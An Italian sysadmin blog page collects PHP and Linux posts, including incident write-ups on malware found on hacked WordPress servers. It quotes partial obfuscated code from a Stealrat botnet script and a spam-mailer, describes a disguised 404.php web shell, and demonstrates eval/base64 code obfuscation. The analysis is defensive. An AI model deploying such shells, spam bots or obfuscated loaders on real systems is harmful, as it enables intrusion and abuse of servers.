Visualizzazione post con etichetta Php. Mostra tutti i post
Visualizzazione post con etichetta Php. Mostra tutti i post

mercoledì 15 marzo 2017

Mini web server con Intel Edison

Una piccola guida per installare un web server con PHP su Intel Edison


Si parte connettendo la Edison alla WiFi interagendo prima con la connessione seriale via USB
configure_edison --wifi

si impostano poi il nome e la password
configure_edison --password
configure_edison --name

Per prima cosa deve essere evidenziato che nell'installazione standard di Yocto e' presente un web server basato su Node.JS. (si puo' verificare con netstat -tnpl)
Si deve quindi disattivare il web server su porta 80 (che peraltro non funziona) modificando il file /usr/lib/edison_config_tools/edison-config-server.js
e commentando la riga
http.createServer(requestHandler).listen(80)

a questo punto per installare Apache si modificano i repository con le istruzioni a questo link
http://alextgalileo.altervista.org/edison-package-repo-configuration-instructions.html

modificando il file
nano /etc/opkg/base-feeds.conf
Dopo aver modificato i repository si puo' iniziare ad installa i pacchetti


opkg update
opkg install apache2
opkg start apache2
opkg enable apache2

opkg install php 

A questo punto Apache funziona ma non interpreta le pagine php. Bisogna editare il file httpd.conf  con le seguenti righe

LoadModule php5_module lib/apache2/modules/libphp5.so

Include /etc/apache2/modules.d/70_mod_php5.conf

<IfModule mime_module>
    TypesConfig /etc/apache2/mime.types

e poi si edita /etc/httpd/conf/mime.types:
application/x-httpd-php php

la directory dove inserire i file html e' 

/usr/share/apache2/htdocs

mentre i file di log sono

/var/apache2/logs

Per impostare la giusta timezone 

opkg install ntpdate
ntpdate -v ntp1.inrim.it
timedatectl set-timezone "Europe/Paris"

Per modificare il DNS server di edita /etc/resolv.conf

domain lan
nameserver 8.8.8.8

infine, per effettuare il port forwarding e' necessario impostare un IP statico editando /etc/wpa_supplicant/wpa_cli-actions.sh 

if [ "$CMD" = "CONNECTED" ]; then
    kill_daemon udhcpc /var/run/udhcpc-$IFNAME.pid
#   udhcpc -i $IFNAME -p /var/run/udhcpc-$IFNAME.pid -S
    ifconfig $IFNAME 192.168.1.250 netmask 255.255.255.0
    route add default gw 192.168.1.254
fi
La Edison ha un server SSH che supporta anche SFTP. L'unico problema e' che accetta di default connessioni dall'utente root (questo puo' diventare un problema di sicurezza su server di produzione)

sabato 20 giugno 2015

Slow Php Redirect

Uso spesso il redirect verso una pagina html nei siti scritti in Php, piu' che altro per pagine di validazione di password, e non ho mai avuto problemi

basta indicare
<?php 
header("Location: www.google.com");
?>

e non effettuare nessuna operazione di scrittura (leggasi print od echo) e la cosa funziona

Ultimamente ho sviluppato una applicazione per Android/IOS che usa una WebView all'interno della quale c'e' una pagina (ospita su un server esterno) che usa la funzione di redirect ed ho notato un ritardo anche di 10 secondi tra quando viene effettuata la richiesta e quando la connessione viene reindirizzata

Il problema non era nella applicazione mobile. Riscrivendo il codice php in questo modo 

<?php 
header("Location: www.google.com",true,307);
echo "<html></html>";
flush();
ob_flush();
exit;
?>

il reindirizzamento e' immediato

venerdì 3 aprile 2015

HTML Dom Parser in PHP

In questo post viene descritto come estrarre i dati da una pagina HTML. Cio' mi e' stato richiesto perche' una ditta offre un servizio di pubblicazione dati (peraltro forniti con licenza Common Creative) in formato CSV solo a seguito di autenticazione mediante un Captcha impedendo di fatto il download automatico

I medesimi dati sono pero' pubblicati anche all'interno di una tabella di una pagina HTML piuttosto complessa. Per "catturare" i dati si puo' analizzare il Document Object Method HTML (DOM) mediante la libreria Simple HTML Dom (http://simplehtmldom.sourceforge.net/) che indicizza i tag e permette di creare per esempio degli array php a partire da tag table

una volta importata la pagina html (anche da un link web oltre che file) nell'esempio sottostante e' stata selezionata la seconda tabella presente nel codice (linea evidenziata in giallo). Il contenuto della tabella e' salvato nell'array rowData

--------------------------------------------------------
<?php
require('simple_html_dom.php');
$html = file_get_html('http://xxxxxxx');

$table = $html->find('table', 2);
$rowData = array();

foreach($table->find('tr') as $row) {
    $flight = array();
    foreach($row->find('td') as $cell) {
        $flight[] = $cell->plaintext;
    }
    $rowData[] = $flight;
}
--------------------------------------------------------

La libreria funziona anche su pagine html non perfettamente formattate (per esempio con tag aperti e non chiusi)

martedì 30 settembre 2014

404.php


Frugando su un server alla ricerca di anomalie mi e' caduto l'occhio su un file denominato 404.php in una posizione anomala

Richiamato dal browser assomiglia ad una normale pagina di errore 404 (File not found) di Apache ma la dimensione del file era decisamente anomala per un messaggio cosi' corto


Con un po' di attenzione al di sotto delle scritte c'erano anche 4 pallini che hanno attirato la mia attenzione
Aprendo il codice Php era evidente che non si trattava di un errore 404 ma di un malware. In pratica i pallini indicano il campo di inserimento di una password attraverso la quale si accede ad una shell in Php

La password e' gia' crittata in md5 e non ho modo di conoscerla ma avendo il sorgente e' facile sostituire la stringa md5 con la stringa md5 di una propria password

Fatto cio' si accede ad una finestra di amministraizone che mette a nudo la configurazione della macchina per l'attaccante
Nella finestra sottostante viene mostrato il file /etc/passwd


e' altresi' disponibile un file manager che permette di navigare tutto il filesystem (a meno di non mettere il webserver in chroot)


e' possibile effettuare una scansione del file system alla ricerca di cattive configurazioni


c'e' anche una funzione che apre una backdoor su una porta a scelta per esporre una shell

In un buona sostanza un pessimo ospite da avere su una propria macchina

mercoledì 17 settembre 2014

Offuscare codice Php

Visti i due precedenti post mi sono messo a dare un'occhiata alla possibilita' di offuscare il codice Php. Pur sapendo che esisteva la possibilita' non ho mai rilasciato per lavoro sorgenti offuscati ma e' una funzione che potrebbe essere utile per non salvare in chiaro i dati di login di pagine di autenticazione

Per esempio si puo' offuscare il solo file delle variabili per l'autenticazione
In chiaro ed in modo molto semplice si potrebbe scrivere
test.php
---------------------------------------------
<?
include("dati.php");
print $user;
print "<br>";
print $password;
?>
---------------------------------------------
dati.php
---------------------------------------------
<?
$user = "Luca";
$password = "password";
?>
---------------------------------------------

usando il servizio di http://www.phpencode.org/#main  si puo' offuscare il file dati.php in modo da nascondere le credenziali.

il nuovo file (dati2.php) risulta essere cambiato cosi'
(attenzione per funzionare deve essere copiato ed incollato pari pari dal sito)
---------------------------------------------
<?php /*** PHP Encode v1.0 by zeura.com ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=908117b002871dc8f72a4e70abf1f93dff6ecad2UyktTi1SsFVQ8ilNTlSy5uVSKUgsLi7PL0oBCcLYStYA
---------------------------------------------

modificando il file di prova per includere il file offuscato 
test2.php
---------------------------------------------
<?
include("dati2.php");
print $user;
print "<br>";
print $password;
?>
---------------------------------------------

si ha il risultato atteso ovvero
---------------------------------------------
Luca
password
---------------------------------------------

scrivendo in modo maggiormente leggibile il codice dati2.php si capisce perche' non puo' essere modificato e si osserva maggiormente il comportamento dell'offuscatore che usa sostanzialmente usa sequenza di eval e base64_decode per offuscare le variabili. Interessante anche la direttiva _halt_compiler ed il codice appeso dietro la parte che il compilatore non interpretera'
---------------------------------------------
<?php 

/*** PHP Encode v1.0 by zeura.com ***/

 $XnNhAWEnhoiqwciqpoHH=file(__FILE__);

 eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));

 eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));

 eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));

 __halt_compiler();

 aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=908117b002871dc8f72a4e70abf1f93dff6ecad2UyktTi1SsFVQ8ilNTlSy5uVSKUgsLi7PL0oBCcLYStYA

Stealrat BotNet in Php su Wordpress

Sulla stessa macchina in cui era presente quanto descritto a questo post al momento di avviare apache venivano segnalati anche questi errori

Tue Sep 16 16:25:18 2014] [error] [client xxx.xxx.xxx.xxx] PHP Warning:  file_exists(): open_basedir restriction in effect. File(/var/www/vhosts/xxxxxxxx/httpdocs/wp-content/wptouch-data/themes/configOzP.php/readme.txt) is not within the allowed path(s): (/var/www/vhosts/xxxxxxxxxx/httpdocs/:/tmp/) in /var/www/vhosts/xxxxxxxxxxxxx/wp-content/plugins/wptouch-pro-3/core/class-wptouch-pro.php on line 1209

(Sono state omesse le informazioni sensibili)

andando a dare un'occhiata al plugin wptouch nel file indicato si trova il codice sottoriportato (riporto al solito le prime righe per evitare usi illeciti)
Anche in questo caso ci si trova davanti a codice Php offuscato e si alza la soglia di attenzione
--------------------------------------
<?php
@error_reporting(0); 
@ini_set(chr(101).chr(114).'ror_log',NULL); 
@ini_set('log_errors',0); 
if (count($_POST) < 2) 

die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321)); 

$v5031e998 = false; 
foreach (array_keys($_POST) as $v3c6e0b8a) 
{ switch ($v3c6e0b8a[0]) 
{ case chr(108): 
$vd56b6998 = $v3c6e0b8a; break; 
case chr(100): $v8d777f38 = $v3c6e0b8a; break; 
case chr(109): $v3d26b0b1 = $v3c6e0b8a; break; 
case chr(101); $v5031e998 = true; 
break; 


if ($vd56b6998 === '' || $v8d777f38 === '') die(PHP_OS.chr(49).chr(49).chr(43).md5(0987654321)); 
$v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disable_functions')); 
$v01b6e203 = @$_POST[$vd56b6998]; 
$v8d777f38 = @$_POST[$v8d777f38]; 
$v3d26b0b1 = @$_POST[$v3d26b0b1]; 
if ($v5031e998) 
{ $v01b6e203 = n9a2d8ce3($v01b6e203); 
 $v8d777f38 = n9a2d8ce3($v8d777f38); 
 $v3d26b0b1 = n9a2d8ce3($v3d26b0b1); 

$v01b6e203 = urldecode(stripslashes($v01b6e203)); 
$v8d777f38 = urldecode(stripslashes($v8d777f38)); 
$v3d26b0b1 = urldecode(stripslashes($v3d26b0b1)); 
if (strpos($v01b6e203, '#',1) != false) 

$v16a9b63f = preg_split('/#/', $v01b6e203); 
$ve2942a04 = count($v16a9b63f); 
} else { 
$v16a9b63f[0] = $v01b6e203; 
$ve2942a04 = 1; 
--------------------------------------

in questo caso la ricerca su Internet riporta molti riferimenti con addirittura una sorta di manuale di istruzione pubblicato da TrendMicro. Si tratta di uno script da BotNet denominato Stealrat nato per fare sostanzialmente spamming e pishing

Spam robot in Php su Wordpress

Ieri un amico mi ha chiamato perche' il suo server web era giu' senza un motivo evidente. Si tratta di una installazione non proprio banale di wordpress (con un po' di plugin attivi)

Guardando access_log le ultime 350 righe riportavano il seguente codice
[16/Sep/2014:14:40:15 +0200] "POST /wp-content/plugins/ubermenu/standard/timthumb/stats.php HTTP/1.1" 200 522 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.6)"

l'attenzione si e' quindi focalizzata sul file stats.php del plugin ubermenu.Fra le altre cose nel codice di UberMenu (scaricato dal sito ufficiale) non e' presente nessun file stat.php nella sottodirectory timthumb

Riporto di seguito le prime righe (in modo da non diffondere il codice completo)
E' evidente anche all'occhio piu' inesperto l'offuscamento del codice Php realizzato popolando un arrary ($i59) con un serie di caratteri e componendo in seguito i comandi usando la concatenazione di caratteri da questo array. Alcune di queste variabili $GLOBALS definiscono nomi di funzioni mentre in altri casi compongono i parametri da passare alle funzioni

------------------------------------------------------
<?
$i59="Euc<v#`5R1s?j{\nJnd8,KA>}wIQ\r7gp;^U0\"YBSH@!=&MOG\\Vlaz\$2mtxLFDX[Zb:f6)~h+%'_k/iyN4CTer.|(3]-\tq9*o PW"; 
$GLOBALS['kyvlc2'] = $i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[73].$i59[83].$i59[82].$i59[30].$i59[94].$i59[83].$i59[55].$i59[76].$i59[16].$i59[29]; 
$GLOBALS['osuwk64'] = $i59[76].$i59[16].$i59[76].$i59[73].$i59[10].$i59[82].$i59[55]; 
$GLOBALS['mrkzp11'] = $i59[63].$i59[2].$i59[55].$i59[76].$i59[94].$i59[53].$i59[28]; 
$GLOBALS['olhjz88'] = $i59[54].$i59[17].$i59[7]; 
$GLOBALS['gtwpr99'] = $i59[56].$i59[50].$i59[29].$i59[24].$i59[91].$i59[9].$i59[92]; 
$GLOBALS['azxqi23'] = $i59[65].$i59[10].$i59[1].$i59[56].$i59[1].$i59[9].$i59[53]; 
$GLOBALS['ttins71'] = $i59[10].$i59[49].$i59[49].$i59[55].$i59[24].$i59[9].$i59[28]; 
$GLOBALS['biplj38'] = $i59[69].$i59[74].$i59[63].$i59[49].$i59[91].$i59[18].$i59[18]; 
$GLOBALS['fufff37'] = $i59[2].$i59[83].$i59[16].$i59[54].$i59[10].$i59[79].$i59[34]; 
$GLOBALS['llsic87'] = $i59[30].$i59[74].$i59[24].$i59[56].$i59[29].$i59[53].$i59[53]; 
$GLOBALS['npqfu35'] = $i59[29].$i59[49].$i59[56].$i59[82].$i59[56].$i59[92].$i59[53]; 
$GLOBALS['kgedf91'] = $i59[77].$i59[29].$i59[56].$i59[55].$i59[65].$i59[7].$i59[53]; 
$GLOBALS['tscso85'] = $i59[10].$i59[55].$i59[83].$i59[49].$i59[82].$i59[16]; //1ayOin
$GLOBALS['dkzox36'] = $i59[2].$i59[69].$i59[83]; //uby
$GLOBALS['nqkyz54'] = $i59[94].$i5mrkzp119[83].$i59[17]; //]yj
$GLOBALS['bbolh46'] = $i59[63].$i59[50].$i59[10].$i59[82].$i59[66].$i59[79].$i59[73].$i59[82].$i59[16].$i59[2].$i59[94].$i59[17].$i59[82]; 
$GLOBALS['pzfzn51'] = $i59[2].$i59[94].$i59[1].$i59[16].$i59[55]; 
$GLOBALS['goxku40'] = $i59[65].$i59[1].$i59[16].$i59[2].$i59[55].$i59[76].$i59[94].$i59[16].$i59[73].$i59[82].$i59[56].$i59[76].$i59[10].$i59[55].$i59[10]; 
$GLOBALS['qllnp80'] = $i59[54].$i59[50].$i59[76].$i59[49]; 
$GLOBALS['oewlq88'] = $i59[65].$i59[12].$i59[2].$i59[24].$i59[17].$i59[92]; 
$GLOBALS['inaco6'] = $i59[65].$i59[29].$i59[82].$i59[55].$i59[10]; 
$GLOBALS['fbigd92'] = $i59[29].$i59[82].$i59[55].$i59[69].$i59[94].$i59[10].$i59[55].$i59[63].$i59[77].$i59[16].$i59[50].$i59[54].$i59[82]; 
$GLOBALS['szwwc12'] = $i59[65].$i59[10].$i59[94].$i59[2].$i59[74].$i59[94].$i59[30].$i59[82].$i59[16]; 
$GLOBALS['ifjvc34'] = $i59[30].$i59[65].$i59[10].$i59[94].$i59[2].$i59[74].$i59[94].$i59[30].$i59[82].$i59[16]; 
$GLOBALS['eypvx47'] = $i59[10].$i59[55].$i59[83].$i59[82].$i59[50].$i59[54].$i59[73].$i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[49].$i59[76].$i59[82].$i59[16].$i59[55]; 
$GLOBALS['ewgqn30'] = $i59[65].$i59[30].$i59[1].$i59[55].$i59[10]; 
$GLOBALS['qlkol47'] = $i59[55].$i59[83].$i59[76].$i59[54]; 
$GLOBALS['wwxez32'] = $i59[30].$i59[83].$i59[82].$i59[29].$i59[73].$i59[83].$i59[82].$i59[30].$i59[49].$i59[50].$i59[2].$i59[82]; 
$GLOBALS['xumld93'] = $i59[65].$i59[2].$i59[49].$i59[94].$i59[10].$i59[82]; 
$GLOBALS['sfroq33'] = $i59[24].$i59[65].$i59[77].$i59[65].$i59[51].$i59[18].$i59[53]; 
$GLOBALS['snkbr7'] = $i59[55].$i59[76].$i59[54].$i59[82]; 
$GLOBALS['gbiun57'] = $i59[24].$i59[17].$i59[74].$i59[50].$i59[77].$i59[28]; 
$GLOBALS['vfpnn60'] = $i59[50].$i59[83].$i59[83].$i59[50].$i59[77].$i59[73].$i59[10].$i59[82].$i59[50].$i59[83].$i59[2].$i59[69]; 
$GLOBALS['slvul93'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[49].$i59[94].$i59[10].$i59[82]; 
$GLOBALS['abwqf91'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[83].$i59[82].$i59[50].$i59[55].$i59[82]; 
$GLOBALS['wjevo71'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[10].$i59[82].$i59[55].$i59[73].$i59[16].$i59[94].$i59[16].$i59[63].$i59[49].$i59[94].$i59[2].$i59[74]; 
$GLOBALS['zqewi88'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[94].$i59[16].$i59[16].$i59[82].$i59[2].$i59[55]; 
$GLOBALS['syafl23'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[49].$i59[50].$i59[10].$i59[55].$i59[73].$i59[82].$i59[83].$i59[83].$i59[94].$i59[83]; 
$GLOBALS['mhzfy25'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[10].$i59[82].$i59[49].$i59[82].$i59[2].$i59[55]; 
$GLOBALS['rmuvr11'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[83].$i59[82].$i59[50].$i59[17]; 
$GLOBALS['tgaup44'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[24].$i59[83].$i59[76].$i59[55].$i59[82]; 
$GLOBALS['qihri77'] = $i59[2].$i59[49].$i59[94].$i59[10].$i59[82].$i59[38].$i59[94].$i59[2].$i59[74]; 
$GLOBALS['bavbu3'] = $i59[17].$i59[50].$i59[55].$i59[82]; 
$GLOBALS['vgyag20'] = $i59[10].$i59[55].$i59[83].$i59[73].$i59[83].$i59[82].$i59[30].$i59[49].$i59[50].$i59[2].$i59[82]; 
$GLOBALS['rssnp53'] = $i59[30].$i59[83].$i59[82].$i59[29].$i59[73].$i59[54].$i59[50].$i59[55].$i59[2].$i59[69]; 
$GLOBALS['bosbj25'] = $i59[1].$i59[2].$i59[65].$i59[76].$i59[83].$i59[10].$i59[55]; 
$GLOBALS['eebyx59'] = $i59[76].$i59[16].$i59[76].$i59[73].$i59[29].$i59[82].$i59[55]; 
$GLOBALS['ltkgi30'] = $i59[29].$i59[82].$i59[55].$i59[54].$i59[56].$i59[83].$i59[83]; 
$GLOBALS['veudg88'] = $i59[50].$i59[83].$i59[83].$i59[50].$i59[77].$i59[73].$i59[74].$i59[82].$i59[77].$i59[10]; 
$GLOBALS['ugeiv74'] = $i59[54].$i59[76].$i59[16]; 
$GLOBALS['vkxhv92'] = ${$i59[73].$i59[96].$i59[45].$i59[38].$i59[81]}; 
$GLOBALS['gpcou63'] = $i59[30].$i59[30].$i59[1].$i59[91].$i59[17].$i59[28].$i59[66]; 
$GLOBALS['kkndw71'] = $i59[30].$i59[83].$i59[82].$i59[29].$i59[73].$i59[10].$i59[30].$i59[49].$i59[76].$i59[55]; 
$GLOBALS['knpxe74'] = $i59[63].$i59[50].$i59[10].$i59[82].$i59[66].$i59[79].$i59[73].$i59[17].$i59[82].$i59[2].$i59[94].$i59[17].$i59[82]; 
$GLOBALS['ywanc2'] = $i59[1].$i59[83].$i59[49].$i59[17].$i59[82].$i59[2].$i59[94].$i59[17].$i59[82]; 
$GLOBALS['ggbdg61'] = $i59[10].$i59[55].$i59[83].$i59[76].$i59[30].$i59[10].$i59[49].$i59[50].$i59[10].$i59[69].$i59[82].$i59[10];
@$GLOBALS['kyvlc2'](NULL);
@$GLOBALS['osuwk64']($i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[73].$i59[49].$i59[94].$i59[29],NULL);
@$GLOBALS['osuwk64']($i59[49].$i59[94].$i59[29].$i59[73].$i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[10],0);
$vxlcl82 = 
array( $i59[17].$i59[50].$i59[55].$i59[50].$i59[81].$i59[94] => "",
   $i59[65].$i59[83].$i59[94].$i59[54].$i59[57].$i59[94].$i59[29].$i59[76].$i59[16] => "",
   $i59[65].$i59[83].$i59[94].$i59[54].$i59[78].$i59[50].$i59[54].$i59[82] => "",
   $i59[10].$i59[1].$i59[63].$i59[12].$i59[81].$i59[82].$i59[54].$i59[30].$i59[49] => "",
   $i59[63].$i59[94].$i59[17].$i59[77].$i59[81].$i59[82].$i59[54].$i59[30].$i59[49] => "",
   $i59[69].$i59[94].$i59[10].$i59[55].$i59[58].$i59[83].$i59[94].$i59[54] => "",
   $i59[76].$i59[16].$i59[76].$i59[55].$i59[16].$i59[63].$i59[10].$i59[94].$i59[2].$i59[74] => FALSE,
   $i59[76].$i59[16].$i59[76].$i59[55].$i59[10].$i59[94].$i59[2].$i59[74] => FALSE,
   $i59[76].$i59[16].$i59[76].$i59[55].$i59[54].$i59[50].$i59[76].$i59[49] => FALSE,);

if (FALSE == $GLOBALS['mrkzp11']($i59, $vxlcl82)) 
{
echo PHP_OS.$i59[70].$GLOBALS['olhjz88'](0987654321).$i59[70].$i59[34].$i59[9].$i59[70].$i59[61].$i59[61].$i59[88].$i59[88].$i59[14];
exit;
}
$unahu45 = array();

-------------------------------------------------------------------------------------
Cercando su internet non si trovano molte informazioni a riguardo (a parte questo link  link disattivato) ma con un po' piu di attenzione si arriva ad una pagina di PasteBin (che non linko) che riporta il codice non offuscato
Si tratta di mail script in Php di circa 500 righe.
Per esempio riporto solo la definizione di un array
------------------------------------
$vxlcl82 = array(
    "dataTo" => "",
    "fromLogin" => "",
    "fromName" => "",
    "subjTempl" => "",
    "bodyTempl" => "",
    "hostFrom" => "",
    "initnbsock" => FALSE,
    "initsock" => FALSE,
    "initmail" => FALSE
);
------------------------------------

 La macchina era quindi impegnata a fare spam e metteva in crisi le poche risorse disponibili

martedì 16 settembre 2014

Mysql Mirroring su Debian

Il problema: creare due database su due server differenti (master 192.168.1.1 e slave 192.168.1.2) in cui il secondo risulta essere la copia del primo
Si parte dal presupposto che entrambe abbiamo mysql installato (apt-get install mysql-server mysql-client) ed in funzione




Per la configurazione di base di Debian la porta 3306 risulta filtrata per cui sulla macchina master e' necessario modificare le regole di iptables. Per non abbassare troppo la guardia la porta 3306 e' aperta solo per le connessioni che provengono dallo slave

/sbin/iptables -A INPUT -i eth0 -s 192.168.1.1 -p tcp --destination-port 3306 -j ACCEPT
a questo punto ci sono due sistemi (si parte considerando database vuoti)

Sistema completo

Macchina Master
si edita il file /etc/mysql/my.cnf modificando
---------------------------------
bind-address = 192.168.1.1
server-id = 1 (basta decommentare)
log_bin = /var/log/mysql/mysql-bin.log (basta decommentare)
binlog_do_db = mirrdatabase (e' il nome del database su cui fare mirroring
---------------------------------

si riavvia il servizio mysql e  si entra in shell mysql (mysql -u root -p). 
Si crea un database 
CREATE DATABASE mirrdatabase;

A questo punto si crea un utente (slave_user) con password con privilegi di replica 

GRANT REPLICATION SLAVE ON *.* TO 'slave_user'@'%' IDENTIFIED BY 'password';
FLUSH PRIVILEGES;

a questo punto si digita il comando 
SHOW MASTER STATUS;
che risponde qualcosa di simile a questo
+------------------+----------+--------------+------------------+
| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+----------+--------------+------------------+
| mysql-bin.000001 |      1080| mirrdatabase |                  |
+------------------+----------+--------------+------------------+
1 row in set (0.00 sec)
si annotino il numero di posizione ed il file perche' serviranno per la configurazione dello slave

Macchina Slave
si edita il file /etc/mysql/my.cnf modificando
---------------------------------
server-id = 2 
relay-log = /var/log/mysql/mysql-relay-bin.log
log_bin = /var/log/mysql/mysql-bin.log (basta decommentare)
binlog_do_db = mirrdatabase (e' il nome del database su cui fare mirroring
---------------------------------
si riavvia il servizio mysql e si entra in shell mysql (mysql -u root -p). e si crea il database
CREATE DATABASE mirrdatabase;


si digita quindi
CHANGE MASTER TO MASTER_HOST='192.168.1.1',MASTER_USER='slave_user', MASTER_PASSWORD='password', MASTER_LOG_FILE='mysql-bin.000001', MASTER_LOG_POS= 1080;

i valori in giallo sono ricopiati da quelli del master. A questo punto si attiva la replicazione (per essere sicuri che ci sia connessione tra le due macchine puo' essere comodo prima verificare con il comando mysql -h 192.168.1.1 -u slave_user -p che ci sia accesso alla shell di mysql)
Si avvia quindi la replicazione con il seguente comando

START SLAVE;
a questo punto tutti i comandi eseguiti sulla macchina Master saranno replicati sulla macchina Slave compresi quelli di creazione di tabelle o popolazione dei dati


Sistema speditivo
Con il metodo speditivo e' necessario che sulle due macchine siano presenti e gia' configurati database e strutture tabelle identiche. Per popolare i dati si puo' usare uno script Php con due connessioni (una verso localhost, l'altra verso la macchina di copia)

<?php 
$dbmaster = 'localhost'; 
$dbusermaster = 'root1'; 
$dbpassmaster = 'password1'; 
$dbslave = '192.168.1.2'; 
$dbuserslave = 'root2'; 
$dbpassslave = 'password2'; 


$conn_master = mysql_connect($dbmaster, $dbusermaster, $dbpassmaster); 
if(! $conn_master ) 
      { 
      die('Could not connect: ' . mysql_error()); 
      } 
$conn_slave = mysql_connect($dbslave, $dbuserslave, $dbpassslave); 
if(! $conn_slave ) 
      { 
      die('Could not connect: ' . mysql_error()); 
      } 



$sql = 'INSERT INTO employee '. '(emp_name,emp_address, emp_salary, join_date) '. 'VALUES ( "guest", "XYZ", 2000, NOW() )'; 
mysql_select_db('mirrdatabase'); 

$retval = mysql_query( $sql, $conn_master ); 
if(! $retval ) 
      { 
      die('Could not enter data in master: ' . mysql_error()); 
      } 

$retval2 = mysql_query( $sql, $conn_slave ); 
if(! $retval2 ) 
      { 
      die('Could not enter data in slave : ' . mysql_error()); 
      } 

echo "Entered data successfully\n"; 
mysql_close($conn_master); 
mysql_close($conn_slave); 
?>

mercoledì 6 agosto 2014

Selinux e Apache su CentOs

Cercando di far funzionare l''uploader di JQuery mi sono trovato in un comportamento strano che non era giustificato dai permessi sui file e sulle directory. Nonostate tutti i permessi del file system fossero corretti non veniva scritto niente sul disco del server. Il sospetto e' ricaduto immediatamente su Selinux





questo lo stato (ovvero attivo)

sestatus
----------------------------------------------------------------------
SELinux status:                 enabled
SELinuxfs mount:                /sys/fs/selinux
SELinux root directory:         /etc/selinux
Loaded policy name:             targeted
Current mode:                   enforcing
Mode from config file:          enforcing
Policy MLS status:              enabled
Policy deny_unknown status:     allowed
Max kernel policy version:      28
----------------------------------------------------------------------

se disattivo temporaneamente tutto Selinux i file vengono salvati nella cartella di upload
setenforce 0

non ho voglia pero' di disabilitare tutto Selinux e lo riattivo
setenforce 1

una occhiata con il seguente comando mostra i permessi di scrittura negati al demone http
aureport --avc | tail 
----------------------------------------------------------------------
18. 06/08/2014 14:01:01 ? system_u:system_r:init_t:s0 0 (null) (null) (null) unset 535
19. 06/08/2014 14:01:08 httpd system_u:system_r:httpd_t:s0 2 dir write unconfined_u:object_r:httpd_sys_content_t:s0 denied 540
20. 06/08/2014 14:01:52 httpd system_u:system_r:httpd_t:s0 2 dir write unconfined_u:object_r:httpd_sys_content_t:s0 denied 542
21. 06/08/2014 14:02:15 httpd system_u:system_r:httpd_t:s0 2 dir write unconfined_u:object_r:httpd_sys_content_t:s0 denied 544
22. 06/08/2014 14:02:15 httpd system_u:system_r:httpd_t:s0 2 dir add_name unconfined_u:object_r:httpd_sys_content_t:s0 denied 544
23. 06/08/2014 14:02:15 httpd system_u:system_r:httpd_t:s0 2 file create system_u:object_r:httpd_sys_content_t:s0 denied 544
